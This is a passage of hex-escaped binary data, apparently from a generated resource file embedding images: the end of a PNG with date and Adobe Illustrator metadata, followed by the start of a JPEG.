x7d\\x96\\x26\\x0f\\x45\\x07\\x51\\x3d\\x59\\x00\\xb4\\x22\\\n\\x79\\x51\\x1e\\x0a\\x9c\\x07\\xfc\\xf7\\xe8\\x2c\\x1a\\x1f\\x0b\\x40\\x2b\\xfd\\\n\\x39\\xf0\\x81\\x2c\\x4d\\xee\\x8b\\x0e\\xa2\\x7a\\xb3\\x00\\x68\\x55\\xf2\\xa2\\\n\\x3c\\x82\\xe1\\x37\\x8b\\x77\\x46\\x67\\xd1\\xfa\\x59\\x00\\x5a\\xe5\\xdd\\xc0\\\n\\xfb\\xb2\\x34\\xd9\\x14\\x1d\\x44\\xcd\\x60\\x01\\xd0\\x9a\\xe4\\x45\\x79\\x24\\\n\\x70\\x3e\\x70\\x61\\x74\\x16\\xad\\x9d\\x05\\xa0\\x15\\x2e\\x02\\x2e\\xce\\xd2\\\n\\xe4\\xee\\xe8\\x20\\x6a\\x16\\x0b\\x80\\xd6\\x25\\x2f\\xca\\xc3\\x81\\x3f\\x01\\\n\\xfe\\x32\\x3a\\x8b\\x56\\xcf\\x02\\xd0\\x68\\xef\\x02\\xfe\\x36\\x4b\\x93\\x7b\\\n\\xa2\\x83\\xa8\\x99\\x2c\\x00\\x1a\\x8b\\xbc\\x28\\x0f\\x66\\x78\\xb6\\xf1\\xdf\\\n\\x44\\x67\\xd1\\xca\\x59\\x00\\x1a\\xe9\\x2d\\xc0\\x25\\x59\\x9a\\x3c\\x10\\x1d\\\n\\x44\\xcd\\x66\\x01\\xd0\\x58\\xe5\\x45\\xb9\\x3f\\xf0\\x4a\\xe0\\x13\\xd1\\x59\\\n\\xb4\\x77\\x16\\x80\\x46\\x39\\x07\\xf8\\x4c\\x96\\x26\\x5b\\xa2\\x83\\xa8\\x1d\\\n\\x2c\\x00\\x9a\\x88\\xbc\\x28\\x7b\\xc0\\x99\\xc0\\xdf\\x01\\x4f\\x8d\\xce\\xa3\\\n\\xc5\\x59\\x00\\x6a\\xef\\x26\\xe0\\x4d\\xc0\\x95\\x59\\x9a\\x94\\xd1\\x61\\xd4\\\n\\x2e\\x16\\x00\\x4d\\x54\\x5e\\x94\\x00\\x4f\\x07\\xfe\\x0c\\x78\\x75\\x74\\x1e\\\n\\xed\\xca\\x02\\x50\\x5b\\x9f\\x02\\xfe\\x02\\xf8\\x41\\x96\\x26\\xd1\\x59\\xd4\\\n\\x52\\x16\\x00\\x4d\\x4d\\x5e\\x94\\x47\\x01\\x7f\\x00\\xbc\\x27\\x3a\\x8b\\x86\\\n\\x2c\\x00\\xb5\\xf3\\x0e\\xe0\\x23\\x59\\x9a\\xdc\\x19\\x1d\\x44\\xed\\x67\\x01\\\n\\xd0\\xd4\\xe5\\x45\\xb9\\x2f\\x70\\x16\\xc3\\xbb\\x0b\\xf6\\xa3\\xf3\\x74\\x99\\\n\\x05\\xa0\\x16\\x0a\\x86\\xf7\\xd6\\xb8\\x22\\x4b\\x93\\x47\\xa2\\xc3\\xa8\\x3b\\\n\\x2c\\x00\\x0a\\x95\\x17\\xe5\\xf1\\x0c\\x2f\\x23\\x7c\\x6b\\x74\\x96\\x2e\\xb2\\\n\\x00\\x84\\x7a\\x3f\\xc3\\xcb\\xf8\\x6e\\x89\\x0e\\xa2\\x6e\\xb2\\x00\\xa8\\x16\\\n\\xf2\\xa2\\x3c\\x80\\xe1\\xaa\\xc0\\x5f\\x01\\xff\\x29\\x3a\\x4f\\x57\\x58\\x00\\\n\\xa6\\xee\\x3f\\x80\\x0b\\x18\\x7e\\xdb\\xdf\\x1c\\x1d\\x46\\xdd\\x66\\x01\\x50\\\n\\xed\\xe4\\x45\\x79\\x0c\\xf0\\x5a\\x86\\xb7\\x36\\xd5\\x04\\x59\\x00\\xa6\\xe6\\\n\\x9d\\xc0\\xc7\\xb3\\x34\\xd9\\x18\\x1d\\x44\\xda\\xce\\x02\\xa0\\xda\\x1a\\x5d\\\n\\x4a\\x78\\x0a\\xf0\\x66\\xe0\\xf5\\xd1\\x79\\xda\\xc8\\x02\\x30\\x51\\x1f\\x05\\\n\\x3e\\x08\\x5c\\xef\\x25\\x7c\\xaa\\x23\\x0b\\x80\\x1a\\x61\\x74\\x88\\xe0\\xb9\\\n\\xc0\\x9f\\x02\\x67\\x47\\xe7\\x69\\x0b\\x0b\\xc0\\xd8\\x5d\\x0e\\xfc\\x35\\xf0\\\n\\x0d\\x97\\xf8\\x55\\x77\\x16\\x00\\x35\\x4e\\x5e\\x94\\x87\\x00\\x2f\\x00\\xde\\\n\\x0e\\xfc\\x66\\x74\\x9e\\x26\\xb3\\x00\\x8c\\xc5\\xbf\\x01\\xef\\x05\\xbe\\x96\\\n\\xa5\\xc9\\xfd\\xd1\\x61\\xa4\\x95\\xb2\\x00\\xa8\\xd1\\xf2\\xa2\\x3c\\x14\\x78\\\n\\x3e\\xc3\\xfb\\xa3\\xbf\\x30\\x3a\\x4f\\xd3\\x58\\x00\\xd6\\xec\\x2b\\x0c\\x9f\\\n\\x7b\\xf1\\xf5\\x2c\\x4d\\xee\\x8b\\x0e\\x23\\xad\\x85\\x05\\x40\\xad\\x91\\x17\\\n\\xe5\\xa3\\x80\\xe7\\x30\\xbc\\xd9\\xd0\\x39\\xd1\\x79\\x9a\\xc0\\x02\\xb0\\x2a\\\n\\x9f\\x00\\x3e\\x02\\x5c\\x93\\xa5\\xc9\\xaf\\xa2\\xc3\\x48\\xeb\\x65\\x01\\x50\\\n\\x2b\\xe5\\x45\\xb9\\x0f\\xf0\\x34\\xe0\\x15\\x0c\\xef\\xae\\xb6\\x5f\\x74\\xa6\\\n\\x3a\\xb2\\x00\\x2c\\xeb\\x61\\x86\\x77\\xad\\xfc\\x2c\\xf0\\xc3\\x2c\\x4d\\xb6\\\n\\x46\\x07\\x92\\xc6\\xc9\\x02\\xa0\\xd6\\x1b\\x3d\\x8f\\xe0\\xb1\\xc0\\x80\\xe1\\\n\\x23\\x8b\\x5f\\x1a\\x9d\\xa9\\x2e\\x2c\\x00\\x7b\\xf8\\x12\\x70\\x09\\x90\\x03\\\n\\x77\\x78\\x1f\\x7e\\xb5\\x99\\x05\\x40\\x9d\\x33\\x5a\\x1d\\x38\\x9e\\xe1\\x8d\\\n\\x87\\xde\\x00\\x9c\\x1c\\x9d\\x29\\x8a\\x05\\x80\\x1b\\x80\\x0f\\x03\\x57\\x00\\\n\\xb7\\xf8\\x2d\\x5f\\x5d\\x62\\x01\\x50\\xe7\\xe5\\x45\\xb9\\x3f\\xc3\\x47\\x16\\\n\\xbf\\x10\\x78\\x1d\\xf0\\xac\\xe8\\x4c\\xd3\\xd2\\xc1\\x02\\xf0\\x5d\\xe0\\x63\\\n\\x0c\\x4f\\xe2\\xbb\\x29\\x4b\\x93\\x2d\\xd1\\x81\\xa4\\x28\\x16\\x00\\x69\\x37\\\n\\x79\\x51\\xee\\x07\\x1c\\x0b\\xa4\\x0c\\xcf\\x21\\xf8\\xad\\xe8\\x4c\\x93\\xd2\\\n\\x81\\x02\\xf0\\x05\\x86\\xc7\\xf0\\xe7\\x80\\x5b\\xb3\\x34\\x79\\x38\\x3a\\x90\\\n\\x54\\x17\\x16\\x00\\x69\\x2f\\xf2\\xa2\\x9c\\x01\\x1e\\xcd\\xf0\\xa4\\xc2\\xe7\\\n\\x01\\xaf\\x64\\x78\\x87\\xc2\\xc6\\x6b\\x59\\x01\\xb8\\x1e\\xf8\\x0c\\x70\\x15\\\n\\xf0\\x43\\xe0\\x97\\x59\\x9a\\xb4\\x6a\\x07\\xa5\\x71\\xb2\\x00\\x48\\x6b\\x30\\\n\\xba\\x4d\\xf1\\x63\\x18\\x3e\\xce\\xf8\\x39\\xc0\\x8b\\x81\\xff\\x1c\\x9d\\x6b\\\n\\xb5\\x1a\\x5c\\x00\\xbe\\x0a\\x7c\\x19\\xb8\\x86\\xe1\\xe3\\x74\\xef\\xf2\\x76\\\n\\xbb\\xd2\\xea\\x58\\x00\\xa4\\x31\\x19\\xad\\x14\\x1c\\x04\\x3c\\x01\\x38\\x11\\\n\\x78\\x36\\x70\\x26\\xf0\\x1b\\xd1\\xd9\\x96\\xd2\\x80\\x02\\xf0\\x4d\\xe0\\x4a\\\n\\xe0\\xdb\\xc0\\x8d\\xc0\\x6d\\xc0\\x83\\x7e\\xb3\\x97\\xd6\\xcf\\x02\\x20\\x4d\\\n\\xd8\\xa8\\x18\\x1c\\x00\\x1c\\x09\\x3c\\x91\\xe1\\xaa\\xc1\\xc9\\xc0\\xaf\\x03\\\n\\x67\\x44\\x66\\xab\\x49\\x01\\xb8\\x1a\\xf8\\x16\\xc3\\x33\\xf2\\x0b\\xe0\\x67\\\n\\xc0\\xdd\\xc0\\x66\\x07\\xbd\\x34\\x39\\x16\\x00\\x29\\xd0\\xe8\\x1e\\x05\\xfb\\\n\\x30\\x5c\\x39\\x38\\x02\\x38\\x1a\\x38\\x06\\x38\\x0e\\x38\\x81\\xe1\\x4a\\xc2\\\n\\x33\\x46\\xbf\\x3f\\x76\\x13\\x2e\\x00\\x0f\\x02\\xdf\\x67\\xf8\\xcd\\xfd\\x66\\\n\\xe0\\xc7\\xc0\\x46\\xe0\\x76\\x60\\xd3\\xe8\\xf7\\xb7\\x7a\\xad\\xbd\\x14\\xe3\\\n\\xff\\x07\\x98\\xf3\\x99\\x42\\x06\\x46\\x2b\\x4d\\x00\\x00\\x00\\x25\\x74\\x45\\\n\\x58\\x74\\x64\\x61\\x74\\x65\\x3a\\x63\\x72\\x65\\x61\\x74\\x65\\x00\\x32\\x30\\\n\\x32\\x31\\x2d\\x31\\x32\\x2d\\x31\\x39\\x54\\x32\\x32\\x3a\\x32\\x38\\x3a\\x33\\\n\\x37\\x2b\\x30\\x30\\x3a\\x30\\x30\\xd1\\x1b\\x4b\\xa6\\x00\\x00\\x00\\x25\\x74\\\n\\x45\\x58\\x74\\x64\\x61\\x74\\x65\\x3a\\x6d\\x6f\\x64\\x69\\x66\\x79\\x00\\x32\\\n\\x30\\x32\\x31\\x2d\\x31\\x32\\x2d\\x31\\x39\\x54\\x32\\x32\\x3a\\x32\\x38\\x3a\\\n\\x33\\x37\\x2b\\x30\\x30\\x3a\\x30\\x30\\xa0\\x46\\xf3\\x1a\\x00\\x00\\x00\\x63\\\n\\x74\\x45\\x58\\x74\\x73\\x76\\x67\\x3a\\x63\\x6f\\x6d\\x6d\\x65\\x6e\\x74\\x00\\\n\\x20\\x47\\x65\\x6e\\x65\\x72\\x61\\x74\\x6f\\x72\\x3a\\x20\\x41\\x64\\x6f\\x62\\\n\\x65\\x20\\x49\\x6c\\x6c\\x75\\x73\\x74\\x72\\x61\\x74\\x6f\\x72\\x20\\x31\\x39\\\n\\x2e\\x30\\x2e\\x30\\x2c\\x20\\x53\\x56\\x47\\x20\\x45\\x78\\x70\\x6f\\x72\\x74\\\n\\x20\\x50\\x6c\\x75\\x67\\x2d\\x49\\x6e\\x20\\x2e\\x20\\x53\\x56\\x47\\x20\\x56\\\n\\x65\\x72\\x73\\x69\\x6f\\x6e\\x3a\\x20\\x36\\x2e\\x30\\x30\\x20\\x42\\x75\\x69\\\n\\x6c\\x64\\x20\\x30\\x29\\x20\\x20\\xce\\x48\\x90\\x0b\\x00\\x00\\x00\\x00\\x49\\\n\\x45\\x4e\\x44\\xae\\x42\\x60\\x82\\\n\\x00\\x00\\xb5\\xdd\\\n\\xff\\\n\\xd8\\xff\\xe0\\x00\\x10\\x4a\\x46\\x49\\x46\\x00\\x01\\x01\\x00\\x00\\x01\\x00\\\n\\x01\\x00\\x00\\xff\\xdb\\x00\\x43\\x00\\x02\\x01\\x01\\x01\\x01\\x01\\x02\\x01\\\n\\x01\\x01\\x02\\x02\\x02\\x02\\x02\\x04\\x03\\x02\\x02\\x02\\x02\\x05\\x04\\x04\\\n\\x03\\x04\\x06\\x05\\x06\\x06\\x06\\x05\\x06\\x06\\x06\\x07\\x09\\x08\\x06\\x07\\\n\\x09\\x07\\x06\\x06\\x08\\x0b\\x08\\x09\\x0a\\x0a\\x0a\\x0a\\x0a\\x06\\x08\\x0b\\\n\\x0c\\x0b\\x0a\\x0c\\x09\\x0a\\x0a\\x0a\\xff\\xdb\\x00\\x43\\x01\\x02\\x02\\x02\\\n\\x02\\x02\\x02\\x05\\x03\\x03\\x05\\x0a\\x07\\x06\\x07\\x0a\\x0a\\x0a\\x0a\\x0a\\\n\\x0a\\x0a\\x0a\\x0a\\x0a\\x0a\\x0a\\x0a\\x0a\\x0a\\x0a\\x0a\\x0a\\x0a\\x0a\\x0a\\\n\\x0a\\x0a\\x0a\\x0a\\x0a\\x0a\\x0a\\x0a\\x0a\\x0a\\x0a\\x0a\\x0a\\x0a\\x0a\\x0a\\\n\\x0a\\x0a\\x0a\\x0a\\x0a\\x0a\\x0a\\x0a\\x0a\\x0a\\x0a\\x0a\\x0a\\xff\\xc2\\x00\\\n\\x11\\x08\\x01\\xf4\\x02\\x72\\x03\\x01\\x22\\x00\\x02\\x11\\x01\\x03\\x11\\x01\\\n\\xff\\xc4\\x00\\x1d\\x00\\x01\\x00\\x02\\x02\\x03\\x01\\x01\\x00\\x00\\x00\\x00\\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x05\\x06\\x04\\x07\\x08\\x03\\x09\\xff\\\n\\xc4\\x00\\x1c\\x01\\x00\\x02\\x02\\x03\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\\n\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x05\\x03\\x04\\x06\\x07\\x08\\xff\\xda\\x00\\\n\\x0c\\x03\\x01\\x00\\x02\\x10\\x03\\x10\\x00\\x00\\x01\\xf7\\x14\\x4d\\x6c\\x2a\\\n\\x2b\\x16\\xac\\xa3\\x15\\xb5\\x65\\x1a\\xd6\\xd1\\x28\\x40\\x15\\x53\\x0d\\x55\\\n\\x30\\xc0\\x14\\x45\\x82\\xaa\\x4c\\x80\\xc0\\x12\\x24\\x2a\\xad\\x0c\\x84\\xc3\\\n\\x60\\x00\\x20\\x04\\x48\\x2a\\xb4\\x04\\x26\\x00\\x00\\x04\\x02\\xaa\\xc0\\xaa\\\n\\x61\\x88\\x93\\x2a\\xb4\\x04\\x26\\x00\\x04\\x02\\x44\\x82\\xab\\x43\\x20\\x30\\\n\\x04\\x02\\x00\\x88\\xb4\\x04\\x00\\x00\\xcf\\x44\\xc5\\x7d\\x9d\\x6b\\x6a\\xca\\\n\\x31\\x13\\x12\\x8d\\x22\\x62\\x50\\x80\\x0a\\xda\\x08\\xc4\\x4a\\x45\\x52\\x08\\\n\\x4c\\x08\\x00\\x02\\x12\\x15\\x56\\x32\\xa9\\x80\\x06\\xa2\\x2c\\x0a\\xad\\x0d\\\n\\xc0\\x68\\x04\\x00\\x01\\x11\\x60\\x55\\x30\\x00\\x00\\x20\\x14\\x45\\x81\\x54\\\n\\xc3\\x11\\x26\\x44\\x5a\\x02\\x00\\x00\\x80\\x4a\\xd8\\x15\\x4c\\x30\\x18\\x04\\\n\\x40\\x22\\x2d\\x01\\x00\\x33\\xd5\\xb4\\x57\\xd9\\xd6\\xb3\\x12\\x8c\\x44\\x9c\\\n\\x7e\\x69\\x89\\x46\\xa9\\x86\\x80\\x22\\x2c\\x23\\x54\\x99\\x09\\x86\\x22\\x41\\\n\\x11\\x60\\x55\\x20\\x80\\x20\\x08\\x48\\x55\\x5a\\x19\\x01\\x90\\x90\\x55\\x26\\\n\\x40\\x68\\x04\\x00\\x01\\x11\\x60\\x54\\x00\\x00\\x08\\x05\\x55\\x81\\x50\\xc4\\\n\\x49\\x95\\x5a\\xa0\\x00\\x02\\x01\\x55\\x6a\\xb0\\x18\\x04\\x40\\x21\\x20\\xce\\\n\\x56\\xd5\\xd0\\xb3\\xa8\\x71\\xa8\\x6a\\xb5\\xbd\\x5c\\x22\\xb6\\x49\\x55\\x30\\\n\\x00\\x00\\x00\\x24\\x48\\x55\\x5b\\x8c\\xd3\\xa2\\x3a\\x4f\\xef\\xd1\\x73\\x79\\\n\\xef\\x8e\\xf1\\x7d\\x8d\\x7d\\x11\\xbd\\xfc\\x5a\\xd2\\x5d\\x29\\x36\\xb5\\x9d\\\n\\xd4\\xe9\\x53\\x5d\\xd7\\x1d\\x2a\\x0e\\xea\\x74\\xa9\\x1d\\xd4\\xe9\\x50\\x77\\\n\\x4b\\xa5\\x81\\xdd\\x2d\\x37\\xbb\\xf4\\x37\\xb4\\x26\\xfc\\xc3\\x9b\\x01\\xde\\\n\\xdd\\x25\\xd1\\xf1\\x9f\\xe8\\x73\\xab\\x3b\\x4f\\x9e\\xe8\\xa6\\x25\\x0c\\xb5\\\n\\x5a\\x02\\x00\\x00\\x01\\x10\\x0a\\xa4\\xc8\\x0c\\x88\\xb4\\x04\\x00\\x01\\x00\\\n\\xaa\\x98\\x60\\x34\\x02\\x00\\xce\\x56\\xd5\\xd0\\xb3\\x88\\x98\\x71\\xaa\\x60\\\n\\x48\\x94\\x95\\x22\\xe2\\x34\\x5a\\x19\\x09\\x86\\xa2\\x2c\\x0a\\xad\\x01\\x00\\\n\\x1d\\x09\\xdf\\x7e\\x3e\\xb2\\xab\\xc0\\xfb\\x37\\xa2\\xfb\\xbf\\x67\\x4b\\xea\\\n\\xf9\\x2b\\xac\\xbe\\xaf\\x90\\x3c\\x8f\\xd7\\x9e\\xfc\\x8b\\x8a\\x6f\\x02\\x3d\\\n\\xf7\\x39\\xb1\\xf8\\x0d\\xef\\xc0\\x78\\x0d\\xef\\xc2\\x5e\\x03\\x7b\\xf0\\x8f\\\n\\x01\\xfd\\x3d\\xf0\\x6f\\xa8\\x3b\\x93\\xe4\\xa6\\xb7\\xfa\\x3e\\x6c\\x79\\xbe\\\n\\x9a\\x76\\xda\\x96\\x3f\\x05\\x7e\\x81\\x7e\\x7e\\x7b\\xa6\\xe2\\xb3\\x36\\x28\\\n\\x7a\\x00\\x08\\x8b\\x02\\xa0\\x00\\x00\\x40\\x2a\\xad\\x01\\x02\\x44\\x45\\xa0\\\n\\x20\\x00\\x11\\x44\\xc3\\x20\\x34\\x02\\x2e\\x84\\xb3\\x35\\xb4\\x69\\x59\\x56\\\n\\x2d\\x59\\x45\\x12\\x23\\x54\\x82\\x03\\x00\\x51\\x16\\x33\\xe6\\xbc\\x38\\xd4\\\n\\x34\\x89\\x05\\x7c\\x6f\\xec\\xaf\\x1b\\x5b\\xd2\\xf6\\x17\\x75\\x74\\x97\\x74\\\n\\xbc\\x7f\\x49\\xf9\\xb5\\x36\\xfe\\x91\\x40\\x7d\\x14\\x05\\xd4\\x05\\xd4\\x05\\\n\\xe7\\xe6\\x1f\\xd1\\xf3\\x07\\xd1\\xf3\\x07\\xd1\\xf3\\x05\\xd4\\x81\\x7d\\x23\\\n\\x4d\\xeb\\xcd\\xdc\\xfd\\x0d\\xed\\xef\\x23\\x7d\\xba\\x1c\\x3e\\xbc\\xc4\\x79\\\n\\x5e\\x75\\xad\\xfd\\x31\\xc7\\xf3\\x7b\\x2b\\xf4\\x7f\\xdf\\xcd\\x20\\xf5\\x3e\\\n\\x73\\xc7\\x91\\x86\\x3e\\xd6\\x78\\xf3\\x77\\xd1\\xc7\\xe8\\xc9\\xd0\\x37\\xea\\\n\\x6c\\x72\\x31\\xc4\\x08\\xc4\\x5a\\xa0\\x12\\x22\\x26\\x00\\x04\\xad\\xaa\\xd0\\\n\\x34\\x89\\x81\\x40\\x0c\\xf0\\xaf\\xb3\\xaa\\x61\\xaa\\xac\\x65\\x52\\x08\\x4c\\\n\\x0a\\x22\\xc1\\x55\\x68\\x08\\x0c\\x88\\xb4\\x38\\xd1\\x68\\x6a\\x3c\\x6d\\xec\\\n\\x9f\\x1b\\x5c\\x52\\x6f\\x9d\\xcf\\xd2\\xdd\\xcb\\x97\\x0f\\xd5\\xf3\\x69\\x6d\\\n\\x7d\\x1f\\x30\\x7d\\x5f\\x30\\xfe\\x8f\\x98\\x3e\\x8e\\x37\\x5e\\xa7\\xd9\\x6f\\\n\\x39\\x74\\x9a\\xcd\\xef\\x97\\x98\\xbd\\x2c\\xf1\\xfd\\xd4\\x38\\x5d\\x48\\x0b\\\n\\xf4\\x3e\\xf5\\xd0\\x1d\\x05\\x8c\\x49\\xd2\\xd8\\x00\\x00\\x00\\x00\\x00\\x00\\\n\\x46\\xed\\xa5\\x30\\xc7\\xd8\\xb9\\x0f\\x34\\xfa\\x5b\\x83\\xd3\\x91\\xa7\\x88\\\n\\x05\\x54\\xc3\\x22\\x26\\x18\\x02\\x56\\x61\\xa0\\x69\\x5b\\x54\\x40\\x19\\xe1\\\n\\x5f\\x68\\x01\\x09\\x05\\x56\\x82\\x30\\x98\\x64\\x45\\x8c\\xaa\\x60\\x22\\x2c\\\n\\x23\\x54\\xc3\\x15\\xb1\\xaa\\xf8\\xd3\\xd9\\x9e\\x33\\xb9\\xa3\\xdd\\xfb\\x93\\\n\\xa6\\x7b\\x87\\x3e\\xa7\\xd9\\xf2\\x6a\\x6d\\xfd\\x67\\xe2\\x0f\\xb3\\xe6\\x0f\\\n\\xa6\\xa3\\xb1\\xf8\\xae\\x39\\xb5\\x8d\\x52\\x58\\xac\\x96\\x54\\x76\\xcb\\x61\\\n\\xec\\x2f\\x65\\x77\\x2f\\x8f\\x7d\\x7d\\x92\\xbb\\xe9\\x14\\x87\\x87\\xa7\\xba\\\n\\xbb\\xb0\\xfa\\xf3\\xb4\\xbc\\x0d\\xfd\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x07\\\n\\xb2\\xfc\\x67\\xeb\\xbe\\x6b\\x5f\\x38\\x39\\x6d\\x50\\x23\\x11\\x30\\xc8\\x89\\\n\\x86\\x00\\xa2\\x26\\x1a\\x07\\x18\\x89\\x80\\x2a\\x6b\\x60\\x5a\\x2b\\x6d\\xe1\\\n\\x30\\xd0\\x08\\x01\\x12\\x0a\\xad\\x04\\x62\\x25\\x22\\xab\\x54\\x11\\x22\\x35\\\n\\x4c\\x03\\xc6\\x7e\\xcb\\xf1\\xad\\xd5\\x1e\\xe1\\xdc\\x1d\\x3b\\xdb\\xdb\\x7a\\\n\\x1f\\x57\\xcd\\xa7\\xb5\\xf4\\x7c\\xe4\\x3e\\xaf\\x98\\x7d\\x57\\xe4\\xef\\x51\\\n\\x61\\xaa\\xfa\\x0d\\x63\\xa8\\x3f\\x43\\xdc\\x9f\\x67\\xe1\\x0d\\xfb\\xd6\\x28\\\n\\x4b\\xc5\\x7c\\x4f\\x6f\\xd3\\x24\\x3c\\x03\\xef\\x9f\\x0b\\x7b\\x9b\\xb7\\xf3\\\n\\xcb\\xc5\\x23\\x3e\\x8f\\x4c\\x75\\xe7\\x65\\xf5\\xa7\\x65\\x7c\\x1b\\xdb\\x2c\\\n\\xa6\\x2e\\xf8\\xdf\\xb1\\x7c\\x87\\xd9\\x7d\\x53\\x45\\x91\\xec\\x3f\\x1d\\x76\\\n\\x9c\\x8d\\x43\\x5c\\xe4\\x71\\xae\\x71\\xfb\\x0f\\xcc\\x9b\\x57\\x5c\\x50\\xe5\\\n\\xe2\\x8e\\x93\\x08\\x04\\x7a\\xf7\\xc8\\x9e\\xce\\xe6\\x75\\xfe\\xe3\\x97\\xd5\\\n\\x02\\x31\\x13\\x0c\\x88\\x98\\x60\\x11\\x88\\x98\\x60\\x38\\xd6\\x26\\xa2\\x09\\\n\\x2d\\x8e\\x2f\\x15\\x77\\x35\\x5a\\xa2\\x88\\xb4\\x32\\x03\\x40\\x20\\x08\\x8b\\\n\\x40\\xa0\\x05\\x56\\xac\\x92\\x24\\x46\\xbe\\x34\\xf6\\x67\\x8c\\xae\\xa9\\x36\\\n\\xce\\xdc\\xea\\x0e\\xdb\\xdd\\xad\\xfa\\xa9\\x1a\\xbb\\x3f\\x49\\xf9\\x48\\x7d\\\n\\x9f\\x34\\x5f\\x5f\\xdf\\x67\\xd2\\x39\\x3e\\xe7\\x3d\\xf5\\xcb\\xf2\\x68\\x7a\\\n\\x3c\\xfc\\xe9\\xfc\\xfd\\x1d\\xfe\\xae\\xed\\xfc\\x07\\x3f\\x6b\\x53\\xa1\\x7d\\\n\\x19\\xd3\\xdd\\xbb\\xdb\\xf9\\xf7\\xd2\\x29\\x16\\xf4\\x1a\\x27\\x4c\\x7a\\x5b\\\n\\xce\\x1d\\x25\\xd7\\xc0\\x5c\\xd8\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x6c\\xbe\\\n\\xb0\\xe8\\xee\\xd8\\xe3\\x69\\x73\\x4e\\x1f\\x2e\\x93\\x24\\x85\\x2a\\x89\\x11\\\n\\x00\\x01\\x1a\\x89\\x24\\x4c\\x0a\\x2b\\x30\\xe2\\x41\\x9b\\x3a\\x62\\xa6\\xea\\\n\\xab\\x55\\x91\\x16\\xab\\x8a\\xb6\\x32\\xa1\\x80\\x44\\x02\\x22\\xd0\\x2c\\x44\\\n\\x6a\\x5f\\x3e\\x1f\\xb4\\xec\\x56\\xab\\xb1\\xf4\\xdc\\xdf\\x23\\xc6\\x5e\\xc6\\\n\\xf1\\xbf\\x5d\\xc7\\xec\\xfd\\xb3\\xd4\\x7d\\xb1\\x61\\x59\\xf6\\x8a\\x35\\x76\\\n\\x6f\\x7f\\x8c\\xa3\\xec\\xf9\\x07\\x7f\\x9c\\xf2\\x78\\x7f\\x42\\xfa\\xd3\\x26\\\n\\xe7\\x7a\\xad\\x7b\\x91\\x90\\xe4\\xe3\\xcb\\xac\\xec\\xc3\\x5a\\xa6\\x4f\\x8f\\\n\\xf5\\xee\\xbc\\xde\\xef\\x9f\\x1f\\xa3\\xe6\\x39\\x7d\\x19\\x95\\xeb\\xee\\x82\\\n\\xea\\x53\\xf6\\xb7\\xb1\\xf8\\x09\\x48\\x00\\x00\\x00\\x00\\x01\\x9b\\xfa\\x7a\\\n\\x0a\\xab\\x43\\x23\\xc8\\x39\\x2e\\x6d\\xf4\\xf9\\x91\\x95\\xfb\\x61\\x39\\xb8\\\n\\x2c\\x79\\xa2\\x3b\\xd5\\x00\\x20\\x8c\\x09\\x25\\x6d\\x51\\x44\\x22\\x51\\x80\\\n\\x1b\\x54\\x5e\\xb5\\x17\\xd5\\x0f\\x1d\\x53\\x0c\\xaa\\x61\\xc6\\x22\\xd0\\xc8\\\n\\x0d\\x08\\x12\\xbf\\x1c\\x06\\xbc\\xba\\xfb\\x27\\x85\\xe5\\x78\\xdf\\xb1\\xec\\\n\\xbf\\x48\\xa5\\xa5\\x66\\xd1\\xe4\\x3f\\x5a\\xf9\\x1f\\xdb\\x3c\\x3f\\x67\\xed\\\n\\x6e\\xa6\\xed\\x4b\\xaa\\x6f\\xbb\\xe4\\xd6\\xd8\\xfa\\xcf\\xca\\xc3\\xfa\\x28\\\n\\x8b\\xbf\\xdb\\x8c\\xd4\\xde\\xd9\\x67\\xe1\\x6f\\x2a\\xf6\\x6c\\xef\\x16\\x78\\\n\\x7b\\x7a\\x3f\\x2e\\x3f\\x27\\x10\\xd7\\x16\\x7e\\x6f\\x51\\xf1\\xeb\\xd6\\x22\\\n\\x70\\xd3\\xbe\\x3b\\xbb\\x6b\\x3f\\x03\\xef\\xf7\\xae\\x0c\\x3e\\x59\\xec\\x1e\\\n\\xa4\\xf6\\x85\\xd4\\x3c\\xdf\\x8f\\xf5\\xef\\x1f\\x5a\\xe7\\xc9\\x4f\\x54\\x7c\\\n\\xf2\\xcf\\xcb\\x6f\\x54\\xf2\\xd2\\xf2\\x9e\\x57\\xd4\\x11\\x87\\x17\\x9f\\xf7\\\n\\x9e\\xc7\\x8d\\x2d\\x6f\\x97\\xd4\\xd0\\xd2\\x04\\x00\\x80\\x39\\x19\\x1c\\x37\\\n\\xdb\\x16\\xe6\\x49\\x13\\x8a\\xcd\\x13\\x04\\x60\\x49\\x45\\x6d\\x52\\x31\\x5b\\\n\\x56\\x48\\x25\\x1d\\xb0\\x52\\xf4\\x15\\xad\\xea\\xd4\\x44\\xc3\\x84\\x44\\xa5\\\n\\x1a\\x80\\xaa\\x78\\xb2\\x87\\xd7\\x87\\x56\\x7d\\x06\\x9d\\xb8\\xf5\\xd7\\x33\\\n\\xd2\\x61\\x87\\x95\\x7a\\xd6\\xe1\\x1c\\x4e\\x5d\\xd5\\x36\\xc3\\xe3\\xaf\\x5e\\\n\\x79\\x03\\xd5\\x7c\\x9f\\x71\\xed\\x3e\\xaa\\xed\\x2e\\xdb\\x88\\xfa\\xa9\\x1a\\\n\\xbb\\x1f\\x4b\\x7c\\xa4\\x7f\\x67\\xc8\\x9f\\xd7\\x31\\xf0\\xed\\xfa\\xbb\\x8e\\\n\\xa5\\xe4\\xf3\\x74\\x6f\\x2f\\xf5\\xfd\\xda\\x34\\x58\\xd5\\xdd\\xcc\\xec\\xfa\\\n\\x8f\\x6f\\xdc\\xd0\\x75\\x35\\x36\\xbe\\xba\\xf4\\x8f\\x2a\\xcc\\x4f\\xce\\xbb\\\n\\x9a\\x1f\\x57\\xc8\\xd7\\xd2\\x95\\xab\\x8f\\x91\\xfd\\xa3\\xe2\\xdf\\x69\\x6e\\\n\\xe8\\x67\\x45\\x1d\\xa8\\x09\\x5c\\x46\\xb1\\x35\\xb9\\xf3\\x74\\x7d\\xe1\\x01\\\n\\x11\\x5b\\x02\\xa9\\x80\\x00\\x00\\x00\\xe4\\x64\\x30\\xfc\\xdc\\x3b\\xbc\\xb8\\\n\\x9a\\xc3\\x7c\\x1c\\x6b\\x5b\\x55\\xa8\\x89\\x89\\x46\\x10\\x6b\\x6f\\x8b\\x56\\\n\\x93\\xa2\\x56\\xd0\\xe3\\x41\\x28\\x44\\x4c\\x35\\x11\\x6e\\x0c\\xb0\\xb8\\xe6\\\n\\xcd\\x78\\x4a\\x2e\\xa9\\xed\\x3e\\xa6\\xe0\\xbb\\xea\\x8